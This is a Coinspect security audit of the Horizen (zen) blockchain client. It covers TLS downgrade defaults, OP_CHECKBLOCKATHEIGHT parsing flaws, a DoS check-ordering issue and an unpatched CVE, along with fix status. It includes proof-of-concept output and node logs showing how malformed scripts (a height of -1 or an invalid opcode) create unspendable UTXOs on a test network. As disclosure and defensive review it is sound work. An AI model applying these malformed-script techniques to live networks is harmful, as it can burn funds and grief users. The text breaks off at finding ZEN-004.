Horizen Security Audit

coinspect

HORIZEN

Source Code Audit

Prepared for Horizen • February 2021

Horizen v210222

1. Executive Summary

2. Source Code Audit
   - 2.1. Replay protection
   - 2.2. Fork Manager
   - 2.3. TLS Implementation
   - 2.4. Delayed block broadcasting penalty
   - 2.5. TX confirmation finality RPC method
   - 2.6. Coinbase and community fund changes
   - 2.7. Sapling / Sprout Groth16
   - 2.8. Upstream security fixes review and patch verification

3. Summary Of Findings

4. Remediations

5. Findings
   - ZEN-001 Secure connection downgrade and lack of TLS peer certificate validation by default
   - ZEN-002 Incongruent parsing of OP_CHECKBLOCKATHEIGHT parameters leads to creation of unspendable UTXOs
   - ZEN-003 Incoherent and lax parsing of OP_CHECKBLOCKATHEIGHT parameters
   - ZEN-004 DoS: OP_CHECKBLOCKATHEIGHT verification performed after CPU intensive signature verifications
   - ZEN-005 Unused and incorrect function in delay.cpp
   - ZEN-006 Consensus fork and double-spend attack risks because of unpatched CVE-2020-8806
   - ZEN-007 TLS 1.0 multiple cryptographic vulnerabilities

6. Appendix 1: unspendable.py

1. Executive Summary

In February 2020, Horizen engaged Coinspect to audit the security of its blockchain platform. In particular this first engagement focused on **reviewing Horizen platform additions to the Zcash protocol implementation** including its core consensus rules, network protocols and privacy features. Also, Coinspect verified **Horizen has properly fixed every known vulnerability inherited from the Zcash codebase**.

During this engagement, Coinspect consultants used a hands-on approach to evaluate the platform security, which included:

- Source code review of zen (the Horizen client), including its core consensus rules, network protocols, and privacy features.
- Rapid prototyping of potential attacks and proof of concept development.

The objectives of the assessment included, but were not limited to, identifying the following types of security vulnerabilities: full system compromise, denial of service attacks, information disclosure, network protocol weaknesses, input validation, and misaligned incentives in consensus rules.

During the engagement, Coinspect identified the following issues:

High Risk	Medium Risk	Low Risk
1	4	2

Coinspect observed Horizen's diligence in monitoring upstream projects and keeping its codebase up-to-date with the latest Zcash fixes and frequently bumping dependencies versions. The only exception to this was a recent vulnerability that has just been announced by the Zcash project.

Coinspect found no high risk vulnerability has been introduced by Horizen modifications to the Zcash project source code; 4 medium and 2 low risk findings and suggestions for addressing them are documented in this report.

Coinspect verified the only High Risk vulnerability found during this engagement was properly fixed by release 2.0.21 published on May 20 2020. The remaining findings, but ZEN-001, were fixed by release 2.0.22 published on October 19 2020. ZEN-001 is a low risk finding related to secure communications and configuration defaults. Horizen decided to not fix this finding because doing so would break backward compatibility with other components in their ecosystem. However, mitigation measures were taken: documentation was improved regarding certificate validation and a command line option to disable the unencrypted connection fallback was added.

2. Source Code Audit

The Horizen project aims to provide a platform that enables intrinsically secure communications, deniable economic activity and resilient networking. It is an evolution of the Zclassic project, a Zcash fork. This engagement focused specifically on the Horizen client.

The following areas of the code were selected by Horizen as the main objectives for the first phase and were reviewed by Coinspect:

1. Previous Zcash security announcements and findings reported by Coinspect to determine which are applicable to Horizen and if they were properly addressed
2. Horizen codebase differs from upstream Zcash codebase in:
    - Replay Protection
    - Fork Manager
    - TLS implementation
    - Delayed block broadcasting penalty (51% protection)
    - TX confirmation finality RPC method
    - CoinbaseTX/CommunityFund changes
    - Sapling / Sprout Groth16 implementation

All findings have been identified and reproduced with local builds of Zen client version 2.0.19-1. The source code isb based on the master branch following commit:

```
commit 6d93211e37ccf845160fcd7922eff3e5e19c36e1
Merge: 7827af0 bba2adc
Author: cronicc <cronic@zensystem.io>
Date:   Fri Nov 8 20:26:58 2019 +0000

   Merge pull request #202 from ZencashOfficial/hotfix-2.0.19-1
    * v2.0.19-1: Hotfix of CVE-2017-18350
```

The following documents were utilized to understand design decisions specific to the Zen client:

- Horizen White Paper (Oct 2019)
- Horizen Proposal to Modify Satoshi Consensus to Enhance Protection Against 51% Attack Whitepaper
- Horizen Application Platform- Tiered Node System and Side Chains to Decentralize the Network

The methodology used during this audit consisted mostly in source code review of the changes introduced by the Horizen team to the Zcash codebase, and gray-box testing of the selected Horizen components.

Besides source code review, the tasks performed during this audit included:

- Crafting invalid and malformed replay protection scripts aimed at bypassing the controls and/or breaking consensus
- BIP-115 reference implementation comparison with Horizen's
- Testing P2P connection limits with Horizen's TLS additions
- P2P unbounded data structures and cleanup mechanism stress testing
- Reviewed Horizen's unit and integration tests looking for edge cases not contemplated in them
- Broadcasting of replay protection invalid transactions
- Broadcasting of replay protection invalid blocks
- Analysis of currently open bugs in the project's Github repository
- Reviewed how the DoS scoring framework was being used by Horizen code looking for ways to ban well-behaved nodes
- Design rationale behind the delayed block penalty mechanism analysis

Overall, Coinspect found the project code to be security conscious. No high impact vulnerabilities were introduced by the Horizen additions to the Zcash project. Besides, Coinspect verified that Horizen follows upstream security issues and ports security fixes when appropriate. Dependencies version upgrades are also being monitored and up to date.

As a result of this engagement the following high-level suggestions are provided based on the findings documented in this report and weaknesses we observed:

- Improve tests by adding edge cases and malformed inputs that could break assumptions made by the code
- Make sure parsers are strict and do not allow unexpected values for parameters
- Provide secure defaults to prevent deployment mistakes that hinder the network security
- Modify codes so inexpensive checks are always performed before CPU intensive operations
- Delayed block penalty mechanism should be tested with simulations and/or a live network to further understand if any of its potential drawbacks can be exploited

The following sections detail tasks performed and comments regarding each of the targeted areas. Attention was focused on those features Coinspect deemed more exposed to attack and which implementation required more complex interactions with the original code.

2.1. Replay protection

Horizen added replay protection to their blockchain platform by implementing BIP-115 "generic anti-replay protection using script". This BIP describes a new opcode (`OP_CHECKBLOCKATHEIGHT`) for the Bitcoin scripting system that allows construction of transactions which are valid only on specific blockchains. Each transaction must include this opcode and a reference to a previous block and its height, if the reference is valid, then the

script execution will continue as if a `NOP` had been executed.

This mechanism's purpose is to provide a way to protect from double spends in scenarios of temporary or persistent blockchain splits.

Coinspect identified this feature as being the most exposed and complex between all the Horizen additions to the original Zcash source code. The implementation adds code to many different source code files and this code is responsible for handling transactions received from the network; we observed the code has been modified several times and a previous bug had been fixed by Horizen requiring a new fork (see `RP_LEVELFIXED`). Because of all this, Coinspect decided to dedicate a good amount of time to evaluating this mechanism.

A few differences between Horizen and the BIP-115 reference implementation were found and analysed, but none impacted the overall security properties of this feature.

Coinspect identified 3 findings related to the parsing of the `OP_CHECKBLOCKATHEIGHT` opcode:

- Incongruent parsing of OP_CHECKBLOCKATHEIGHT parameters leads to creation of unspendable UTXOs
- Incoherent and lax parsing of OP_CHECKBLOCKATHEIGHT parameters
- DoS: OP_CHECKBLOCKATHEIGHT verification performed after CPU intensive signature verifications

Even though Horizen has developed a set of unit and integration tests for this feature, these aim to test it from a functionality point of view. Coinspect recommends more tests are added oriented at verifying the script parsing is correct when invalid scripts are provided.

2.2. Fork Manager

The `ForkManager` class is responsible for handling the different forks introduced by Horizen. It acts as the main interface for all outside components interacting with forks by redirecting each function to the appropriate fork level according to chain height. For example, each fork can define a different set of accepted transaction types, or change the community fund addresses, etc.

The following forks are the ones currently registered:

- Fork 0 `OriginalFork`: the original ZClassic fork at block 0
- Fork 1 `ChainsplitFork`
- Fork 2 `ReplayProtectionFork`
- Fork 3 `CommunityFundAndRPFixFork`
- Fork 4 `NullTransactionFork`
- Fork 5 `ShieldFork`: changed the proving system to Groth16

Coinspect identified no issues in this component.

2.3. TLS Implementation

The P2P connection layer in Horizen incorporates TLS, this is handled by the class `TLSManager`, which is used by code added to `net.cpp`.

These modifications to the P2P connection layer and their interactions with the existing code were reviewed: Coinspect looked for potential ways to bypass connection limits restrictions and evaluated the new added unbounded data structures used to remember failed TLS connection attempts and its time based pruning mechanism.

Coinspect reported two findings in this component related to insecure default configuration and the usage of older versions of the TLS protocol with known vulnerabilities, full details can be found in Secure connection downgrade and lack of TLS peer certificate validation by default and TLS 1.0 multiple cryptographic vulnerabilities.

2.4. Delayed block broadcasting penalty

Horizen node features a 51% attack mitigation mechanism detailed in the Horizen Proposal to Modify Satoshi Consensus to Enhance Protection Against 51% Attack Whitepaper.

This mitigation does not eradicate 51% attacks, but it makes them more expensive for the attacker.

According to the whitepaper, this mechanism works by modifying the “longest chain” rule (the chain with the most accumulated work performed) to take into account an additional field `nChainDelay`. This field accumulates penalizations for blocks received which are not part of the current main chain, and it represents the number of blocks for which the adoption of the new parallel chain will be postponed. The block reception delay is calculated as the current main chain height minus the height of the received block.Then, privately mined forks are penalized with a delayed acceptance, so the attacker needs to keep mining his chain after it was revealed.

It is worth noting that the block penalty is only applied for blocks which are at least 5 blocks behind the current height. Taking into account the network average block interval and assuming network latency is low (and assuming there is no attack to the network affecting it) it is unlikely a miner lags 5 blocks behind the rest of the network. This also means short forks are not protected by this mechanism.

Coinspect verified the implementation behaves as described in the whitepaper and that as a result of this code addition mining private chains is strongly discouraged. No tests on Horizen’s mainnet were performed during this audit.

The penalty mechanism was not fully analyzed during this audit.

There is a trade-off between the network convergence speed after partitioning and the private mining resistance.

Coinspect only reported a minor finding in this mechanism implementation.

2.5. TX confirmation finality RPC method

Horizen added a new RPC method called `getblockfinalityindex`, which receives a block hash as parameter and “returns the minimum number of consecutive blocks a miner should mine from now in order to revert the block of given hash”. This is directly related to the Delayed block broadcasting penalty feature.

The method implementation is straightforward and calculates the minimum number of blocks taking into account each main chain tip.

Coinspect found the code adhered to the specification and reported no issue in relation to this RPC method.

2.6. Coinbase and community fund changes

Horizen reward structure has been updated a few times since the original fork. The community fund rewards are divided in different proportions between:

- Foundation
- Secure nodes
- Super nodes

These funds are discounted from the block subsidy.

Right now each fund has a map of addresses which are cycled in a round-robin fashion.

The coinbase transaction in each block is verified to contain at least one output for each community fund type with the expected value and one of the expected target addresses.

The code responsible for this was found concise and correct according to the specifications.

Coinspect reported no finding in this component.

2.7. Sapling / Sprout Groth16

Horizen decided to switch from the original PGHR13 proving system to Groth16 for its shielded transactions after the Zcash Counterfeiting Vulnerability was announced. The Zcash Sapling network upgrade changes have not been released in Horizen yet.
Horizen implemented this change as a new fork which decides what type of shielded transaction is expected for a certain block height: `libzcash::GrothProof or libzcash::PHGRProof` is used accordingly.
Coinspect revisited how the Groth16 proving system was incorporated into the existing Horizen codebase. Coinspect reported no finding in this set of modifications.

2.8. Upstream security fixes review and patch verification

As per Horizen request, Coinspect built a list of the most relevant security fixes in the Zcash upstream project and evaluated which were relevant to the zen client code and then verified

the corresponding patch was properly merged into the codebase. In addition, the findings Coinspect reported Zcash during previous audits were also reviewed.

Coinspect verified **every vulnerability** detailed in the following links **was properly fixed in the Horizen client project** source code when applicable:

- https://z.cash/support/security/announcements/
- https://coinspect.com/doc/CoinspectReportZcash2016.pdf
- https://coinspect.com/doc/CoinspectReportZcash2018.pdf

Horizen has properly ported fixes for all inherited critical vulnerabilities, such as:

- Zcash counterfeiting vulnerability (CVE-2019-7167)
- “Ping” Vulnerability (CVE-2019-17048)
- malicious SOCKS proxy server remote code execution vulnerability (CVE-2017-18350)

The only exception to this was the New Releases: 2.1.1 and hotfix 2.1.1-1 vulnerability as we report in Consensus fork and double-spend attack risks because of unpatched CVE-2020-8806. It is worth noting that this vulnerability had just been announced when Coinspect started this engagement.

3. Summary Of Findings

ID	Description	Risk	Fixed
ZEN-001	Secure connection downgrade and lack of TLS peer certificate validation by default	Low	✘
ZEN-002	Incongruent parsing of OP_CHECKBLOCKATHEIGHT parameters leads to creation of unspendable UTXOs	Medium	✔
ZEN-003	Incoherent and lax parsing of OP_CHECKBLOCKATHEIGHT parameters	Medium	✔
ZEN-004	DoS: OP_CHECKBLOCKATHEIGHT verification performed after CPU intensive signature verifications	Medium	✔
ZEN-005	Unused and incorrect function in delay.cpp	Low	✔
ZEN-006	Consensus fork and double-spend attack risks because of unpatched CVE-2020-8806	High	✔
ZEN-007	TLS 1.0 multiple cryptographic vulnerabilities	Medium	✔

4. Remediations

During July 2020 Coinspect verified ZEN-006 has been properly addressed by https://github.com/HorizenOfficial/zenzen/pull/251.

Finally, during December 2020 Coinspect verified the remaining findings (but ZEN-001) had been correctly fixed in Horizen's Release 2.0.22. Horizen decided not to fix ZEN-001 because doing so would break backward compatibility with other components in their ecosystem. However, documentation was improved regarding certificate validation and a command line option to disable the unencrypted connection fallback was added.

ID	Description	Pull Request
ZEN-002	Incongruent parsing of OP_CHECKBLOCKATHEIGHT parameters leads to creation of unspendable UTXOs	PR #335
ZEN-003	Incoherent and lax parsing of OP_CHECKBLOCKATHEIGHT parameters	PR #335
ZEN-004	DoS: OP_CHECKBLOCKATHEIGHT verification performed after CPU intensive signature verifications	PR #335
ZEN-005	Unused and incorrect function in delay.cpp	PR #335
ZEN-006	Consensus fork and double-spend attack risks because of unpatched CVE-2020-8806	PR #251
ZEN-007	TLS 1.0 multiple cryptographic vulnerabilities	PR #335

5. Findings

ZEN-001	Secure connection downgrade and lack of TLS peer certificate validation by default

Total Risk
Low

Fixed
✘

Impact
Low

Likelihood
Low

Location
zen/tlsmanager.cpp
net.cpp

Description

While testing Horizen's secure connection feature Coinspect observed peer certificate validation is not performed by default, there is a command line option that enables it. The function `AcceptConnection` in `net.cpp` only performs peer certificate validation when the command line option `tlsvalidate` is set to true (by default is false):

```
if (GetBoolArg("-tlsvalidate", false))
{
  if (ssl && !ValidatePeerCertificate(ssl))
  {
    LogPrintf ("TLS: ERROR: Wrong client certificate from %s. Connection will be closed.\n",
addr.ToString());

    SSL_shutdown(ssl);
    CloseSocket(hSocket);
    SSL_free(ssl);
    return;
  }
}
```

Even though this command line flag is documented, because TLS is enabled, an unsuspecting node administrator could incorrectly assume certificates are being validated.

There is another default behaviour that could be dangerous: if a host fails to establish a TLS connection, the next connection attempt from the same host (based on IP address) takes place without TLS. The following code is responsible for this:

```
#ifdef COMPAT_NON_TLS
  {
    LOCK(cs_vNonTLSNodesInbound);

    NODE_ADDR nodeAddr(addr.ToStringIP());
```

```
    bool bUseTLS = (find(vNonTLSNodesInbound.begin(),
                    vNonTLSNodesInbound.end(),
                    nodeAddr) == vNonTLSNodesInbound.end());

    if (bUseTLS)
    {
      ssl = tlsmanager.accept( hSocket, addr);
      if(!ssl)
      {
        // Further reconnection will be made in non-TLS (unencrypted) mode
        LogPrintf ("TLS: adding %s to vNonTLSNodesInbound\n", addr.ToString());
        vNonTLSNodesInbound.push_back(NODE_ADDR(addr.ToStringIP(), GetTimeMillis()));
        CloseSocket(hSocket);
        return;
      }
    }
    else
    {
      LogPrintf ("TLS: Connection from %s will be unencrypted\n", addr.ToString());

      vNonTLSNodesInbound.erase(
          remove(
              vNonTLSNodesInbound.begin(),
              vNonTLSNodesInbound.end(),
              nodeAddr
          ),
          vNonTLSNodesInbound.end());
    }
  }
#else
  ssl = TLSManager::accept( hSocket, addr);
  if(!ssl)
  {
    CloseSocket(hSocket);
    return;
  }
#endif // COMPAT_NON_TLS
```

This feature depends on the compile time `COMPAT_NON_TLS` flag, which is defined in the default build config:

```
#define COMPAT_NON_TLS // enables compatibility with nodes, that still doesn't support TLS connections
```

Coinspect did not find this behaviour nor compile time flag documented in the build and deployment guides.

This is how this scenario shows in the node logs:

```
TLS: ERROR: ./zen/tlsmanager.cpp: accept: TLS connection from 127.0.0.1:51324 failed
TLS: Connection from 127.0.0.1:51326 will be unencrypted
```

Horizen explained that this feature was introduced in order to make the new secure connection feature a non-breaking change for existing clients.

As a consequence of this undocumented feature, unless the source code or build scripts are modified, a node can not be guaranteed all its connections are encrypted. Considering the project's stated goals of intrinsically secure communications, deniable economic activity and resilient networking; Coinspect suggests this behavior is documented, disabled by default and explicitly enabled when desired.

Recommendations

Coinspect suggests TLS peer certificate validation is enabled by default, with the option to explicitly disable it when desired. Also, the secure connection downgrade feature should be clearly documented and node operators should be made aware that not every connection in the network is encrypted by default.

Fix status

Horizen decided not to fix this finding because doing so would break backward compatibility with other components in their ecosystem. However, documentation was improved regarding certificate validation and a command line option to disable the unencrypted connection fallback was added.

ZEN-002 Incongruent parsing of OP_CHECKBLOCKATHEIGHT parameters leads to creation of unspendable UTXOs

Total Risk
Medium

Fixed
✔

Impact
Medium

Likelihood
Low

Location
Solver() standard.cpp
EvalScript() interpreter.cpp

Description

Because the verification of the `OP_CHECKBLOCKATHEIGHT` is different for inputs than for outputs, it is possible to construct a transaction that creates an unspendable UTXO. Even though the new UTXO is validated in order to enforce the presence of a `OP_CHECKBLOCKATHEIGHT`, its parameters are parsed in a different way than during the verification that takes place when this same output is used as an input.

While testing the replay protection implementation, Coinspect found at least 2 particular cases in which the `OP_CHECKBLOCKATHEIGHT` validator used for inputs accepts a script as valid when it is not properly formed.

The first scenario is caused when creating a script with a height parameter equal to `-1`. For example:

```
! Corrupting vout[0]
Original scriptPubKey in Tx:
76a9145b4ede7ec3d652197aa66f3826101ba8289a891188ac2017829004beab85d0fd6edaf7066d34e386fd32423b605ef4aa
d16d06520d6c0453b4
Original (decoded) scriptPubKey in Tx:    OP_DUP OP_HASH160 5b4ede7ec3d652197aa66f3826101ba8289a8911
OP_EQUALVERIFY OP_CHECKSIG 17829004beab85d0fd6edaf7066d34e386fd32423b605ef4aad16d06520d6c04 3
OP_CHECKBLOCKATHEIGHT
      Original Tx height: 3
      Using evil height:  -1
CScript encoding -1
Modified scriptPubKey in Tx:
76a9145b4ede7ec3d652197aa66f3826101ba8289a891188ac20bb1acf2c1fc1228967a611c7db30632098f0c641855180b5fe
23793b72eea50d4fb4
Modified (decoded) scriptPubKey in Tx:  OP_DUP OP_HASH160 5b4ede7ec3d652197aa66f3826101ba8289a8911
OP_EQUALVERIFY OP_CHECKSIG bb1acf2c1fc1228967a611c7db30632098f0c641855180b5fe23793b72eea50d -1
OP_CHECKBLOCKATHEIGHT
```

In the following node log extract we see first the output bypassing the checks in the `Solver` function parser:

```
2020-02-11 02:52:49 Solver @ script/standard.cpp : vchBlockHeight.size() = 0
2020-02-11 02:52:49 Solver @ script/standard.cpp : nHeight = 0
2020-02-11 02:52:49 Solver @ script/standard.cpp : we skip blockhash check
```

And then, we see the same UTXO being parsed as an input and correctly rejected by the `EvalScript` function and not accepted into the mempool:

```
2020-02-11 02:52:49 script/interpreter.cpp: EvalScript: OP_CHECKBLOCKATHEIGHT verification
failed. Referenced height: -1
2020-02-11 02:52:49 ERROR: CScriptCheck():
0fa1061a8f60fa9aaec764426de57a92afeffa8562a5af55bddefd4357958fc9:0 VerifySignature failed:
unknown error
2020-02-11 02:52:49 ERROR: AcceptToMemoryPool: ConnectInputs failed
0fa1061a8f60fa9aaec764426de57a92afeffa8562a5af55bddefd4357958fc9
```

The second scenario takes place when parsing an invalid opcode in front of the `OP_CHECKBLOCKATHEIGHT`. For example, the following script:

```
Modified (decoded) scriptPubKey in tx 1:  OP_DUP OP_HASH160 ... OP_EQUALVERIFY OP_CHECKSIG
.. <<<OP_INVALIDOPCODE>>> OP_CHECKBLOCKATHEIGH
```

In the following node log extract we see first the output bypassing the checks in the `Solver` function parser:

```
2020-02-11 19:09:07 Solver @ script/standard.cpp : opcode2 OP_SMALLDATA vch1.size() 32
2020-02-11 19:09:07 Solver @ script/standard.cpp : OP_SMALLDATA es blockhash!
2020-02-11 19:09:07 Solver @ script/standard.cpp : opcode2 OP_SMALLDATA vch1.size() 0
2020-02-11 19:09:07 Solver @ script/standard.cpp : OP_SMALLDATA es height, size 0, opcode1
0xff!
2020-02-11 19:09:07 Solver @ script/standard.cpp : OP_SMALLDATA es height
2020-02-11 19:09:07 Solver @ script/standard.cpp : vchBlockHeight.size() = 0
2020-02-11 19:09:07 Solver @ script/standard.cpp : nHeight = 0
2020-02-11 19:09:07 Solver @ script/standard.cpp : we skip blockhash check
```

And then, we see the same UTXO being parsed as an input and correctly rejected by the `EvalScript` function and not accepted into the mempool:

```
2020-02-11 19:09:07 ERROR: CScriptCheck():
59d4d771b6cee20544a4424ccdae664319c91eed7ec102c2af472e657635d86f:0 VerifySignature failed:
Opcode missing or not understood
2020-02-11 19:09:07 ERROR: CScriptCheck():
59d4d771b6cee20544a4424ccdae664319c91eed7ec102c2af472e657635d86f:0 VerifySignature failed:
Opcode missing or not understood
2020-02-11 19:09:07 ERROR: AcceptToMemoryPool: ConnectInputs failed
59d4d771b6cee20544a4424ccdae664319c91eed7ec102c2af472e657635d86f
```

The resulting UTXO in both scenarios is seen as valid by the target wallet and increments the account balance, but creating any transaction using it as an input results in a rejected transaction.

```
$ ./zen-cli -regtest -rpcport=12416  -datadir=/tmp/zen/node2/regtest
-conf=/tmp/zen/node2/zen.conf -rpcuser=rt -rpcpassword=rt listunspent
[
  {
    "txid": "8c670e9fc83584fe177f5fca929ea458465f1014f8c17e8af8315ce7bdc6bd89",
    "vout": 1,
```

```
    "generated": false,
    "address": "ztpAYC9TGQVYcB16PLa8LQHFoukJdXZbvAE",
    "account": "",
    "scriptPubKey":
"76a914e6768cb330e3ad49e00af47223883e3893a66ad188ac20bb1acf2c1fc1228967a611c7db30632098f0c6
41855180b5fe23793b72eea50d4fb4",
    "amount": 1.00000000,
    "confirmations": 1,
    "spendable": true
  }
]

$ ./zen-cli -regtest -rpcport=12416  -datadir=/tmp/zen/node2/regtest
-conf=/tmp/zen/node2/zen.conf -rpcuser=rt -rpcpassword=rt sendtoaddress
"ztUscLFnUa35peHJkcwmY5qcoxF5TeuoRsb" 0.5
error code: -4
error message:
Error: The transaction was rejected! This might happen if some of the coins in your wallet
were already spent, such as if you used a copy of wallet.dat and coins were spent in the
copy but not marked as spent here.
```

Then, this bug results in burned money. An attacker would need to burn his own coins, and the victim would end up with coins he can not spend. This bug does not allow the creation of new money, but could result in a griefed victim.

The proof of concept script used to build these requests can be found in 7. Appendix 1: unspendable.py. This is the proof of concept's full output:

```
[1] Node1 generates 303 blocks

[2] Node1 sends 1.000000 coins to Node2

 ! Corrupting vout[0]
      Original scriptPubKey in Tx:
76a9145b4ede7ec3d652197aa66f3826101ba8289a891188ac2017829004beab85d0fd6edaf7066d34e386fd32423b605ef4aa
d16d06520d6c0453b4
      Original (decoded) scriptPubKey in Tx:    OP_DUP OP_HASH160
5b4ede7ec3d652197aa66f3826101ba8289a8911 OP_EQUALVERIFY OP_CHECKSIG
17829004beab85d0fd6edaf7066d34e386fd32423b605ef4aad16d06520d6c04 3 OP_CHECKBLOCKATHEIGHT
      Original Tx height: 3
      Using evil height:  -1
      CScript encoding -1
      Modified scriptPubKey in Tx:
76a9145b4ede7ec3d652197aa66f3826101ba8289a891188ac20bb1acf2c1fc1228967a611c7db30632098f0c641855180b5fe
23793b72eea50d4fb4
      Modified (decoded) scriptPubKey in Tx:  OP_DUP OP_HASH160
5b4ede7ec3d652197aa66f3826101ba8289a8911 OP_EQUALVERIFY OP_CHECKSIG
bb1acf2c1fc1228967a611c7db30632098f0c641855180b5fe23793b72eea50d -1 OP_CHECKBLOCKATHEIGHT

 ! Corrupting vout[1]
      Original scriptPubKey in Tx:
76a9148583e73ef0a4f5bb72aeccde98ed27717b07cfa588ac2017829004beab85d0fd6edaf7066d34e386fd32423b605ef4aa
d16d06520d6c0453b4
```

```
      Original (decoded) scriptPubKey in Tx:    OP_DUP OP_HASH160
8583e73ef0a4f5bb72aeccde98ed27717b07cfa5 OP_EQUALVERIFY OP_CHECKSIG
17829004beab85d0fd6edaf7066d34e386fd32423b605ef4aad16d06520d6c04 3 OP_CHECKBLOCKATHEIGHT
      Original Tx height: 3
      Using evil height:  -1
      CScript encoding -1
      Modified scriptPubKey in Tx:
76a9148583e73ef0a4f5bb72aeccde98ed27717b07cfa588ac20bb1acf2c1fc1228967a611c7db30632098f0c641855180b5fe
23793b72eea50d4fb4
      Modified (decoded) scriptPubKey in Tx:  OP_DUP OP_HASH160
8583e73ef0a4f5bb72aeccde98ed27717b07cfa5 OP_EQUALVERIFY OP_CHECKSIG
bb1acf2c1fc1228967a611c7db30632098f0c641855180b5fe23793b72eea50d -1 OP_CHECKBLOCKATHEIGHT
 Tx sent:  455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3
 ! Tx is in mempool for all nodes
 ! Node1 generating 1 honest block
 ! Tx is not in mempool anymore
 ! Tx was mined in block


 ! Node2 balance es 1 now <--- BUT can Node2 spend it ?????

 ! Node2 balance es 1 now <--- BUT can Node2 spend it ?????

 ! Node2 balance es 1 now <--- BUT can Node2 spend it ?????

 Listing vouts for Tx  455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3
      0  OP_CHECKBLOCKATHEIGHT :  -1
      1  OP_CHECKBLOCKATHEIGHT :  -1
 Listing target UTXO in Node 1
     txid:  455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3    vout:  1    amount:
10.43745000
 Listing UTXOs in Node 2
     txid:  455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3    vout:  0    amount:
1.00000000


[3] Selecting necessary UTXOs for Node2 to send 0.500000 coins to Node3
 Forcing it to use the malformed output it has just received:
455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3
 Forcing txid:  455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3    vout:  0

[4] Creating raw Tx using malformed input where Node2 sends 0.500000 coins to Node3
    | Node1 balance:  2055.49995000
    | Node2 balance:  1.00000000
  Listing target UTXO in Node1
     txid:  455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3    vout:  1
  Listing Node2 UTXOs
     txid:  455792d5373096fb790bfd6c3928a9c2f43d3288bdd21724771e4be94b915aa3    vout:  0

[5] Node0 sendrawtransaction() => TX REJECTED "non-final"
JSONRPC error: 64: non-final
 File "/horizen/zen/qa/rpc-tests/test_framework/test_framework.py", line 121, in main
   self.run_test()
 File "/horizen/zen/qa/rpc-tests/unspendable.py", line 291, in run_test
   tx_1000 = self.nodes[0].sendrawtransaction(signedRawTx['hex'])
 File "/horizen/zen/qa/rpc-tests/test_framework/authproxy.py", line 147, in __call__
   raise JSONRPCException(response['error'])
```

Recommendations

Coinspect recommends both parsers are modified so the same criteria is applied to the parsing of parameters, independently of the context. Additionally, we suggest more tests are developed to guarantee both parsing functions return values are coherent.
When possible, the wallet should be able to recognize unspendable UTXOs.

ZEN-003 Incoherent and lax parsing of OP_CHECKBLOCKATHEIGHT parameters

Total Risk	Impact	Location
Medium	Medium	Solver() script/standard.cpp EvalScript() script/interpreter.cpp
Fixed ✔	Likelihood Low	

Description

There is at least one difference between the way the `OP_CHECKBLOCKATHEIGHT` parameters are parsed depending on if they are being verified as on output or as in input.

The block height parameter in the script is parsed using the `CScriptNum` function. When the parsing takes place during `vout` verification, `fRequireMinimal` is set to `false`. However, during `vin` verification, it is set to `true`.

In the function `Solver` located in `standard.cpp`:

```
        else if (opcode2 == OP_CHECKBLOCKATHEIGHT)
        {
          // Full-fledged implementation of the OP_CHECKBLOCKATHEIGHT opcode for verification of vout's

          [...]

          if (vchBlockHash.size() != 32)
          {
              LogPrintf("%s: %s: OP_CHECKBLOCKATHEIGHT verification failed. Bad params.\n", __FILE__,
__func__);
              break;
          }

          const int32_t nHeight = CScriptNum(vchBlockHeight, false, sizeof(int32_t)).getint();
          const int32_t nChActHeight = chainActive.Height();
```

In the function `EvalScript` located in `interpreter.cpp`;

```
case OP_CHECKBLOCKATHEIGHT:
{
  if (!(flags & SCRIPT_VERIFY_CHECKBLOCKATHEIGHT)) {
    // At least check that there are 2 parameters
    if (stack.size() < 2) {
        LogPrintf("%s: %s: OP_CHECKBLOCKATHEIGHT verification failed. Wrong parameters amount.\n",
__FILE__, __func__);
        return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION);
    }
    // Clear stack
```

```
      popstack(stack);
      popstack(stack);
      break;
    }

    if (stack.size() < 2) {
        LogPrintf("%s: %s: OP_CHECKBLOCKATHEIGHT verification failed. Wrong parameters amount.\n",
__FILE__, __func__);
      return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION);
    }

    valtype vchBlockHash(stacktop(-2));
    valtype vchBlockIndex(stacktop(-1));

    if ((vchBlockIndex.size() > sizeof(int)) || (vchBlockHash.size() > 32))
    {
          LogPrintf("%s: %s: OP_CHECKBLOCKATHEIGHT verification failed. Bad params.\n", __FILE__,
__func__);
      return set_error(serror, SCRIPT_ERR_CHECKBLOCKATHEIGHT);
    }

    // nHeight is a 32-bit signed integer field.
    const int32_t nHeight = CScriptNum(vchBlockIndex, true, 4).getint();
```

The `fRequireMinimal` parameter is used to indicate whether 0s are allowed in front of the signed integer field or not by the parser. `CScriptNum` will throw an exception when `fRequireMinimal` is set to `true` and this requirement is not satisfied by the input being parsed.

This inconsistency between parsing contexts could lead to scenarios similar as the one described previously in *ZEN-002* where an unespendable UTXO is created which is valid as an output but can not be used as an input.

In addition to this, Coinspect observed another difference between these two parsers. Again, the output parsing is more lax than input parsing. While `EvalScript` pops parameters from the execution stack in an specific order, `Solver` recognizes the parameters based on their size as can be seen below:

```
else if (opcode2 == OP_SMALLDATA)
{
  // Possible values of OP_CHECKBLOCKATHEIGHT parameters
    if (vch1.size() <= sizeof(int32_t))
  {

      if (vch1.size() == 0 && (opcode1 >= OP_1 && opcode1 <= OP_16) )
      {

          // small size int (1..16) are not in vch1
          // they are represented in the opcode itself
          // (see CScript::push_int64() method)

          // leave vch1 alone and use a copy, just to be in the safest side
```

```
            vector<unsigned char> vTemp;
            vTemp.push_back((unsigned char)(opcode1 - OP_1 + 1));

            vchBlockHeight = vTemp;
        }
        else
        {
            vchBlockHeight = vch1;
        }
    }
    else
    {
        vchBlockHash = vch1;
    }
```

Even though time was not dedicated to test this, we believe it could be possible to abuse this parsing laxity to generate unspendable UTXOs.

Recommendations

Coinspect recommends both parsers are modified so the same criteria is applied to the parsing of parameters, independently of the context. Additionally, we suggest more tests are developed to guarantee both parsing functions return values are coherent.
When possible, the wallet should be able to recognize unspendable UTXOs.

ZEN-004	DoS: OP_CHECKBLOCKATHEIGHT verification performed after CPU intensive signature verifications

Total Risk
Medium

Fixed
✔

Impact
Low

Likelihood
High

Location
AcceptToMemoryPool : main.cpp

